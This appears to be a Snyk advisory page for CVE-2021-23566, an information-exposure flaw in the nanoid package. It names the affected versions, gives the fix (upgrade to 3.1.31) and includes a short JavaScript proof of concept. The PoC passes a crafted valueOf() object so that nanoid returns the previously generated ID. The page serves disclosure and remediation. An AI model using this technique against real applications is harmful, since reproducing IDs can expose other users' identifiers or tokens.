

Information Exposure

Affecting [nanoid](#) package, versions `>=3.0.0 <3.1.31`

INTRODUCED: 11 JAN 2022
CVE-2021-23566 ⓘ
CWE-200 ⓘ
FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `nanoid` to version 3.1.31 or higher.

Overview

Affected versions of this package are vulnerable to Information Exposure via the `valueOf()` function which allows to reproduce the last id generated.

PoC

```
import { nanoid } from 'nanoid'; const makeProxyNumberToReproducePreviousID = () => { let step = 0; return { valueOf() { // // if (!pool || pool.length < bytes) { if (step === 0) { step++; return 0; } // } else if (poolOffset + bytes > pool.length) { if (step === 1) { step++; return -Infinity; } // poolOffset += bytes if (step === 2) { step++; return 0; } return 21; }, }; }; const ID1 = nanoid(); const ID2 = nanoid(makeProxyNumberToReproducePreviousID()); console.log({ ID1, ID2, isEqual: ID1 === ID2 });
```

References

- [GitHub Fix Commit](#)
- [GitHub PR](#)
- [PoC](#)

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

MEDIUM

Search by package name or CVE

Snyk CVSS

Exploit Maturity

Proof of concept ⓘ

Attack Complexity

Low ⓘ

See more

> NVD

5.5 MEDIUM

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID
SNYK-JS-NANOID-2332193

Published

12 Jan 2022

Disclosed

11 Jan 2022

Credit

Artyom Arutyunyan

Report a new vulnerability

Found a mistake?

CONTACT US

[Support](#)

[Report a new vuln](#)

[Press Kit](#)

[Events](#)

FIND US ONLINE

TRACK OUR DEVELOPMENT



© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.